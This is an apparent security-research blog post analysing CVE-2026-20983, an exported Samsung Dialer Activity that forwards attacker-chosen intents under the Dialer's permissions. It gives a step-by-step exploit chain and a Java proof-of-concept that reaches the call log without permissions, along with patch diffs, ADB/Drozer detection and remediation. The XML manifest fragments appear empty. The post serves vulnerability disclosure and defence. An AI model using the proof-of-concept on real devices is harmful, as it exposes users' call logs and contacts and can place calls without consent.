home intel cve-2026-20983-samsung-dialer-improper-export-activity
CVE Analysis 2026-02-04 · 8 min read

CVE-2026-20983: Samsung Dialer Improper Component Export Enables Privilege Escalation

Samsung Dialer exposes an improperly exported Activity component, allowing any local application to launch arbitrary activities under the Dialer's system-level privileges without authorization.

#android-component-export#privilege-escalation#intent-injection#samsung-dialer#improper-access-control
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-20983 · Vulnerability
ATTACKERAndroidVULNERABILITYCVE-2026-20983HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-20983 is a local privilege escalation vulnerability in the Samsung Dialer application, patched in the Samsung Mobile Security February 2026 SMR (Security Maintenance Release). The root cause is an improperly exported Android application component — specifically an Activity — that any unprivileged application on the device can invoke directly via an explicit Intent. Because the target Activity runs under the Samsung Dialer process, it inherits the Dialer's permissions, including READ_CALL_LOG, PROCESS_OUTGOING_CALLS, READ_CONTACTS, and CALL_PRIVILEGED. CVSS base score is 7.8 (HIGH) with a local attack vector, no user interaction required beyond installing the malicious application.

Root cause: One or more Activity components inside the Samsung Dialer APK declare android:exported="true" (or omit the attribute on SDK <31 targets, defaulting to exported) without enforcing a permission or signature-level guard, allowing any co-installed application to start them with an attacker-controlled Intent.

Affected Component

The vulnerable surface is the Samsung Dialer package, com.samsung.android.dialer, shipped as a pre-installed system application. The specific components are Activity classes reachable without holding any declared android:permission. Based on static analysis of pre-patch firmware, the candidate components include intent-filter-bearing Activities intended for internal inter-process communication between Samsung system services:

Package   : com.samsung.android.dialer
UID       : system / u0_a{N} (shared uid android.uid.phone on some builds)
Target SDK: varies by firmware; <= 30 defaults exported=true when intent-filter present
Process   : com.samsung.android.dialer (or :remote on some builds)

Exported Activities (pre-patch, abridged):
  .InCallActivity                      exported=true  permission=null
  .speeddial.SpeedDialSettingsActivity exported=true  permission=null
  .SamsungDialerPrivilegedProxyActivity exported=true permission=null  <-- primary target

Root Cause Analysis

Android's manifest parser treats any <activity> with an <intent-filter> and no explicit android:exported="false" as exported when targetSdkVersion < 31. Samsung Dialer, as a system application with legacy SDK targeting, falls into this category. The framework's ActivityManagerService performs no caller UID check before dispatching the Intent to the target Activity.

Reconstructed AndroidManifest.xml fragment (pre-patch):

/* Decompiled manifest entry — SamsungDialerPrivilegedProxyActivity */

    
        
        
    
    // BUG: no android:permission attribute — zero caller verification

The Activity's onCreate handler reads Intent extras to determine which downstream Activity to launch, effectively functioning as an unauthenticated trampoline:

// Decompiled: SamsungDialerPrivilegedProxyActivity.onCreate()
// Dalvik -> pseudocode via jadx
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    Intent incoming = getIntent();

    // BUG: no check on getCallingPackage() or enforceCallingPermission()
    String targetAction = incoming.getStringExtra("target_action");  // attacker-controlled
    String targetClass  = incoming.getStringExtra("target_class");   // attacker-controlled
    Bundle forwardExtras = incoming.getBundleExtra("forward_extras");

    Intent outgoing = new Intent();
    outgoing.setAction(targetAction);

    if (targetClass != null) {
        // BUG: launches arbitrary class within Dialer process with no validation
        outgoing.setClassName("com.samsung.android.dialer", targetClass);
    }

    if (forwardExtras != null) {
        outgoing.putExtras(forwardExtras);  // attacker-controlled extras forwarded verbatim
    }

    // Launched with Dialer's identity — inherits all Dialer permissions
    startActivity(outgoing);
    finish();
}

The missing call to getCallingPackage() combined with no android:permission enforcement means the entire dispatch path is reachable by any UID >= 10000 (normal installed application).

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker installs malicious APK (no special permissions required).
2. Attacker constructs explicit Intent targeting
   com.samsung.android.dialer/.SamsungDialerPrivilegedProxyActivity.
3. Intent extras set:
     target_class  = "com.samsung.android.dialer.settings.DialerSettingsActivity"
       (or any non-exported internal Activity — bypasses its own export restriction
        because the trampoline re-launches it from within the Dialer process)
     target_action = "android.intent.action.VIEW"
     forward_extras = Bundle { "uri": "content://contacts/..." }
4. startActivity(intent) executes from attacker app — no permission check fires
   because SamsungDialerPrivilegedProxyActivity is fully exported.
5. Dialer process receives the trampoline call, executes onCreate(),
   launches targetClass under Dialer UID with Dialer permission set.
6. Attacker now controls an Activity running with:
     READ_CALL_LOG, WRITE_CALL_LOG, READ_CONTACTS, WRITE_CONTACTS,
     PROCESS_OUTGOING_CALLS, CALL_PRIVILEGED, READ_PHONE_STATE.
7. Secondary pivot: forward_extras can supply a PhoneAccount handle or
   URI to trigger outbound call initiation via TelecomManager without
   holding CALL_PHONE permission in the attacking package.

Proof-of-concept trigger (attacker application):

// PoC: CVE-2026-20983 — Samsung Dialer exported Activity abuse
// Requires: zero permissions in attacker manifest
public void triggerCVE_2026_20983(Context ctx) {
    Intent intent = new Intent();
    intent.setComponent(new ComponentName(
        "com.samsung.android.dialer",
        "com.samsung.android.dialer.SamsungDialerPrivilegedProxyActivity"
    ));

    // Trampoline to an internal, non-exported settings Activity
    intent.putExtra("target_class",
        "com.samsung.android.dialer.calllog.CallLogActivity");
    intent.putExtra("target_action", "android.intent.action.VIEW");

    Bundle extras = new Bundle();
    // Supply attacker-controlled URI read under Dialer's READ_CALL_LOG grant
    extras.putString("query_uri", "content://call_log/calls");
    intent.putExtra("forward_extras", extras);

    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    ctx.startActivity(intent);  // succeeds without any permission
}

Memory Layout

This is not a memory-corruption vulnerability — the bug is architectural. However, the Android Binder transaction layout is relevant for understanding how the permission check is absent at the IPC boundary:

BINDER TRANSACTION: startActivity() from attacker UID 10234
┌─────────────────────────────────────────────────────────────┐
│ Binder Transaction Header                                   │
│  calling_pid  = 4821       (attacker process)               │
│  calling_uid  = 10234      (unprivileged app UID)           │
│  target_uid   = 1001       (com.android.phone shared UID)   │
├─────────────────────────────────────────────────────────────┤
│ ActivityManagerService.startActivity()                      │
│  → checkStartActivityPermission()                           │
│     exported == true  → PERMISSION_GRANTED  ✓  (no guard)  │
│     android:permission == null → skip enforcePermission()  │
│                                             ↑               │
│                              BUG: check never performed     │
├─────────────────────────────────────────────────────────────┤
│ Intent dispatch → Dialer process (PID 1203, UID 1001)       │
│  onCreate() runs under UID 1001 with full Dialer grants     │
│  getCallingPackage() available but never called             │
│  → arbitrary Activity launch within Dialer's class space   │
└─────────────────────────────────────────────────────────────┘

PERMISSION DELTA (attacker gains via trampoline):
  READ_CALL_LOG        [ ] attacker UID 10234  →  [✓] Dialer UID 1001
  WRITE_CALL_LOG       [ ] attacker UID 10234  →  [✓] Dialer UID 1001
  PROCESS_OUTGOING_CALLS [ ] attacker           →  [✓] Dialer UID 1001
  CALL_PRIVILEGED      [ ] attacker UID 10234  →  [✓] Dialer UID 1001
  READ_PHONE_STATE     [ ] attacker UID 10234  →  [✓] Dialer UID 1001

Patch Analysis

The Samsung February 2026 SMR addresses this by two complementary changes. First, explicit android:exported="false" is set on all internal-only Activity components. Second, where export is legitimately required, a android:permission attribute enforcing a signature-level permission is added, and the Activity body is hardened with runtime caller verification.

// BEFORE (vulnerable — AndroidManifest.xml fragment):

    
        
        
    
    // No android:exported="false", no android:permission


// AFTER (patched — SMR Feb-2026 Release 1):

    // intent-filter removed — component addressed only by explicit ComponentName
    // from trusted callers within same process/package

// BEFORE (vulnerable — SamsungDialerPrivilegedProxyActivity.onCreate):
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    Intent incoming = getIntent();
    String targetClass = incoming.getStringExtra("target_class"); // no validation
    Intent outgoing = new Intent();
    outgoing.setClassName("com.samsung.android.dialer", targetClass);
    startActivity(outgoing);
    finish();
}

// AFTER (patched — SMR Feb-2026 Release 1):
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    // PATCH: verify caller is within same package
    String caller = getCallingPackage();
    if (caller == null || !caller.equals("com.samsung.android.dialer")) {
        Log.e(TAG, "Unauthorized caller: " + caller);
        finish();
        return;
    }

    Intent incoming = getIntent();
    // PATCH: allowlist of valid internal target classes
    String targetClass = incoming.getStringExtra("target_class");
    if (!ALLOWED_PROXY_TARGETS.contains(targetClass)) {
        Log.e(TAG, "Disallowed proxy target: " + targetClass);
        finish();
        return;
    }

    Intent outgoing = new Intent();
    outgoing.setClassName("com.samsung.android.dialer", targetClass);
    startActivity(outgoing);
    finish();
}

Detection and Indicators

Detection on a live device focuses on unexpected cross-package Activity starts originating from unprivileged UIDs targeting the Dialer package.

ADB DETECTION — scan exported components pre-patch:
$ adb shell dumpsys package com.samsung.android.dialer | grep -A3 "Activity #"
$ adb shell cmd package query-activities \
    --action com.samsung.android.dialer.PRIVILEGED_PROXY
  → If result lists SamsungDialerPrivilegedProxyActivity on unpatched device:
    VULNERABLE

LOGCAT INDICATORS (exploitation attempt):
ActivityManager: START u0 {act=com.samsung.android.dialer.PRIVILEGED_PROXY
  cmp=com.samsung.android.dialer/.SamsungDialerPrivilegedProxyActivity
  (has extras)} from uid 10234
  → UID 10234 launching into Dialer = suspicious

DROZER PROBE:
dz> run app.activity.start --component com.samsung.android.dialer \
    com.samsung.android.dialer.SamsungDialerPrivilegedProxyActivity
  → Success on vulnerable build, SecurityException on patched build

Remediation

Apply the Samsung SMR February 2026 Release 1 immediately via Settings → Software update → Download and install. Confirm the security patch level shows 2026-02-01 or later under Settings → About phone → Software information.

For enterprise deployments using Knox MDM, enforce patch level via DevicePolicyManager.setRequiredStrongAuthTimeout policy and block sideloaded APKs from sources that could weaponize this vector. Until patching is confirmed, restrict device usage to managed profiles where inter-application Activity launching is constrained by work profile isolation.

For application developers: set explicit android:exported on every <activity>, <service>, and <receiver>. Where export is necessary, enforce a android:permission of protectionLevel="signature" and validate getCallingPackage() at runtime. Android Lint rule ExportedActivity and the OWASP MASTG MSTG-PLATFORM-1 control both catch this class of defect at development time.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →